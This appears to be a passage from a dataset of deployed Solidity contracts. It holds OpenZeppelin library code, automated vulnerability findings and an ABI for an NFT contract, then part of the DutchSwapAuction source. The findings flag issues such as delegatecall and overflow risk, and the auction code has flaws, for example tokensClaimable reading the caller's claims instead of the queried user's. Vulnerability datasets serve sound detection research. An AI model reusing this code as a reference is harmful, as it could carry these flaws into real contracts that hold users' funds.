function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| [{"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["1258"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["702", "707", "715", "648", "641"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["709", "643", "579"]}, {"defect": "Missing_return_statement", "type": "Code_specification", "severity": "Low", "lines": ["749"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["185", "1316", "582", "1338"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["887", "171", "160", "398", "145"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["53", "582", "714", "647"]}] | [{"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/introspection/IERC165.sol": [4]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1355, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 168, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 569, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 587, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 600, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 632, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 693, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 696, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 727, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 385, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 117, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 198, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 830, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 859, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1007, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1039, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1071, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1298, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1370, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1404, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 134, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 267, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 270, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 277, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 280, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 283, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1304, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 592, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 847, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 770, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 33, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 141, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 285, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1130, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1130, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1130, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"initBaseURI","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"newBaseURI","type":"string"}],"name":"BaseURIChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"minter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Minted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"minter","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ReservedToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum FiveKM.Status","name":"status","type":"uint8"}],"name":"StatusChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_MINT_PER_ADDR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RESERVE_AMOUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"numberMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"reserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"enum FiveKM.Status","name":"_status","type":"uint8"}],"name":"setStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"status","outputs":[{"internalType":"enum FiveKM.Status","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensReserved","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | false | 200 | 00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d576a34734c31446f37766731576a344c724236677873423734694a6769416172704c50483378583772514e542f00000000000000000000 | Default | false | ||||
DutchSwapAuction | 0x4efc1012c4f2d57a0fbbffb460147eb42c40b928 | Solidity | pragma solidity ^0.6.9;
//:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
//::::::::::: @#::::::::::: @#:::::::::::: #@j:::::::::::::::::::::::::
//::::::::::: ##::::::::::: @#:::::::::::: #@j:::::::::::::::::::::::::
//::::::::::: ##::::::::::: @#:::::::::::: #@j:::::::::::::::::::::::::
//::::: ########: ##:: ##:: DUTCh>: ihD%y: #@Whdqy:::::::::::::::::::::
//::: ###... ###: ##:: ##:: @B... @@7...t: N@N.. R@K:::::::::::::::::::
//::: ##::::: ##: ##:: ##:: @Q::: @Q.::::: N@j:: z@Q:::::::::::::::::::
//:::: ##DuTCH##: .@QQ@@#:: hQQQh <R@QN@Q: N@j:: z@Q:::::::::::::::::::
//::::::.......: =Q@y....:::....:::......::...:::...:::::::::::::::::::
//:::::::::::::: h@W? sWAP@! 'DW;:::::: KK. ydSWAP@t: NNKNQBdt:::::::::
//:::::::::::::: 'zqRqj*. L@R h@w: QQ: L@5 Q@... d@@: @@U... @Q::::::::
//:::::::::::::::::...... Q@^ ^@@N@wt@BQ@ <@Q^::: @@: @@}::: @@::::::::
//:::::::::::::::::: U@@QKt... D@@L.. B@Q.. KDUTCH@Q: @@QQ#QQq:::::::::
//:::::::::::::::::::.....::::::...:::...::::.......: @@!.....:::::::::
//::::::::::::::::::::::::::::::::::::::::::::::::::: @@!::::::::::::::
//::::::::::::::::::::::::::::::::::::::::::::::::::: @@!::::::::::::::
//::::::::::::::01101100:01101111:01101111:01101011::::::::::::::::::::
//:::::01100100:01100101:01100101:01110000:01111001:01110010:::::::::::
//:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
//
// DutchSwap Auction V1.3
// Copyright (c) 2020 DutchSwap.com
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.
// If not, see <https://github.com/deepyr/DutchSwap/>.
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// Authors:
// * Adrian Guerrera / Deepyr Pty Ltd
//
// ---------------------------------------------------------------------
// SPDX-License-Identifier: GPL-3.0-or-later
// ---------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function max(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a <= b ? a : b;
}
}
contract DutchSwapAuction {
using SafeMath for uint256;
/// @dev The placeholder ETH address.
address private constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 public startDate;
uint256 public endDate;
uint256 public startPrice;
uint256 public minimumPrice;
uint256 public totalTokens; // Amount to be sold
uint256 public priceDrop; // Price reduction from startPrice at endDate
uint256 public commitmentsTotal;
uint256 public tokenWithdrawn; // the amount of auction tokens already withdrawn
bool private initialised; // AG: should be private
bool public finalised;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
address public auctionToken;
address public paymentCurrency;
address payable public wallet; // Where the auction funds will get paid
mapping(address => uint256) public commitments;
mapping(address => uint256) public claimed;
event AddedCommitment(address addr, uint256 commitment, uint256 price);
/// @dev Prevents a contract from calling itself, directly or indirectly.
/// @dev https://eips.ethereum.org/EIPS/eip-2200)
modifier nonReentrant() {
require(_status != _ENTERED); // ReentrancyGuard: reentrant call
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
/// @dev Init function
function initDutchAuction(
address _funder,
address _token,
uint256 _totalTokens,
uint256 _startDate,
uint256 _endDate,
address _paymentCurrency,
uint256 _startPrice,
uint256 _minimumPrice,
address payable _wallet
)
external
{
require(!initialised); // Already Initialised
require(_endDate > _startDate); // End date earlier than start date
// Try and refactor to remove these requirements
// require(_startPrice > _minimumPrice); // Starting price lower than minimum price
require(_minimumPrice > 0); // Minimum price must be greater than 0
auctionToken = _token;
paymentCurrency = _paymentCurrency;
totalTokens = _totalTokens;
startDate = _startDate;
endDate = _endDate;
startPrice = _startPrice;
minimumPrice = _minimumPrice;
wallet = _wallet;
_status = _NOT_ENTERED;
uint256 numerator = startPrice.sub(minimumPrice);
uint256 denominator = endDate.sub(startDate);
priceDrop = numerator.div(denominator);
// There are many non-compliant ERC20 tokens... this can handle most, adapted from UniSwap V2
_safeTransferFrom(auctionToken, _funder, _totalTokens);
initialised = true;
}
// Dutch Auction Price Function
// ============================
//
// Start Price -----
// \
// \
// \
// \ ------------ Clearing Price
// / \ = AmountRaised/TokenSupply
// Token Price -- \
// / \
// -- ----------- Minimum Price
// Amount raised / End Time
//
/// @notice The average price of each token from all commitments.
function tokenPrice() public view returns (uint256) {
return commitmentsTotal.mul(1e18).div(totalTokens);
}
/// @notice Returns price during the auction
function priceFunction() public view returns (uint256) {
/// @dev Return Auction Price
if (block.timestamp <= startDate) {
return startPrice;
}
if (block.timestamp >= endDate) {
return minimumPrice;
}
return _currentPrice();
}
/// @notice The current clearing price of the Dutch auction
function clearingPrice() public view returns (uint256) {
/// @dev If auction successful, return tokenPrice
if (tokenPrice() > priceFunction()) {
return tokenPrice();
}
return priceFunction();
}
/// @notice How many tokens the user is able to claim
function tokensClaimable(address _user) public view returns (uint256) {
uint256 tokensAvailable = commitments[_user].mul(1e18).div(clearingPrice());
return tokensAvailable.sub(claimed[msg.sender]);
}
/// @notice Total amount of tokens committed at current auction price
function totalTokensCommitted() public view returns(uint256) {
return commitmentsTotal.mul(1e18).div(clearingPrice());
}
/// @notice Total amount of tokens remaining
function tokensRemaining() public view returns (uint256) {
uint256 totalCommitted = totalTokensCommitted();
if (totalCommitted >= totalTokens ) {
return 0;
} else {
return totalTokens.sub(totalCommitted);
}
}
/// @notice Returns price during the auction
function _currentPrice() private view returns (uint256) {
uint256 elapsed = block.timestamp.sub(startDate);
uint256 priceDiff = elapsed.mul(priceDrop);
return startPrice.sub(priceDiff);
}
//--------------------------------------------------------
// Commit to buying tokens!
//--------------------------------------------------------
/// @notice Buy Tokens by committing ETH to this contract address
/// @dev Needs extra gas limit for additional state changes
receive () external payable {
commitEthFrom(msg.sender);
}
/// @dev Needs extra gas limit for additional state changes
function commitEth() public payable {
commitEthFrom(msg.sender);
}
/// @notice Commit ETH to buy tokens for any address
function commitEthFrom (address payable _from) public payable {
require(!finalised); // Auction was cancelled
require(address(paymentCurrency) == ETH_ADDRESS); // Payment currency is not ETH
// Get ETH able to be committed
uint256 ethToTransfer = calculateCommitment( msg.value);
// Accept ETH Payments
uint256 ethToRefund = msg.value.sub(ethToTransfer);
if (ethToTransfer > 0) {
_addCommitment(_from, ethToTransfer);
}
// Return any ETH to be refunded
if (ethToRefund > 0) {
_from.transfer(ethToRefund);
}
}
/// @notice Commit approved ERC20 tokens to buy tokens on sale
function commitTokens(uint256 _amount) public {
commitTokensFrom(msg.sender, _amount);
}
/// @dev Users must approve contract prior to committing tokens to auction
function commitTokensFrom(address _from, uint256 _amount) public nonReentrant {
require(!finalised); // Auction was cancelled
require(address(paymentCurrency) != ETH_ADDRESS); // Only token transfers
uint256 tokensToTransfer = calculateCommitment( _amount);
if (tokensToTransfer > 0) {
_safeTransferFrom(paymentCurrency, _from, tokensToTransfer);
_addCommitment(_from, tokensToTransfer);
}
}
/// @notice Returns the amout able to be committed during an auction
function calculateCommitment( uint256 _commitment)
public view returns (uint256 committed)
{
uint256 maxCommitment = totalTokens.mul(clearingPrice()).div(1e18);
if (commitmentsTotal.add(_commitment) > maxCommitment) {
return maxCommitment.sub(commitmentsTotal);
}
return _commitment;
}
/// @notice Commits to an amount during an auction
function _addCommitment(address _addr, uint256 _commitment) internal {
require(block.timestamp >= startDate && block.timestamp <= endDate); // Outside auction hours
commitments[_addr] = commitments[_addr].add(_commitment);
commitmentsTotal = commitmentsTotal.add(_commitment);
emit AddedCommitment(_addr, _commitment, _currentPrice());
}
//--------------------------------------------------------
// Finalise Auction
//--------------------------------------------------------
/// @notice Successful if tokens sold equals totalTokens
function auctionSuccessful() public view returns (bool){
return tokenPrice() >= clearingPrice();
}
/// @notice Returns bool if successful or time has ended
/// @dev able to claim early if auction is successful
function auctionEnded() public view returns (bool){
return auctionSuccessful() || block.timestamp > endDate;
}
/// @notice Auction finishes successfully above the reserve
/// @dev Transfer contract funds to initialised wallet.
function finaliseAuction () public nonReentrant {
require(!finalised); // Auction already finalised
if( auctionSuccessful() )
{
/// @dev Successful auction
/// @dev Transfer contributed tokens to wallet.
_tokenPayment(paymentCurrency, wallet, commitmentsTotal);
}
else if ( commitmentsTotal == 0 )
{
/// @dev Cancelled Auction
/// @dev You can cancel the auction before it starts
require(block.timestamp <= startDate ); // Auction already started
_tokenPayment(auctionToken, wallet, totalTokens);
}
else
{
/// @dev Failed auction
/// @dev Return auction tokens back to wallet.
require(block.timestamp > endDate ); // Auction not yet finished
_tokenPayment(auctionToken, wallet, totalTokens);
}
finalised = true;
}
/// @notice Withdraw your tokens once the Auction has ended.
function withdrawTokens() public nonReentrant {
if( auctionSuccessful() )
{
/// @dev Successful auction! Transfer claimed tokens.
/// @dev AG: Could be only > min to allow early withdraw
uint256 tokensToClaim = tokensClaimable(msg.sender);
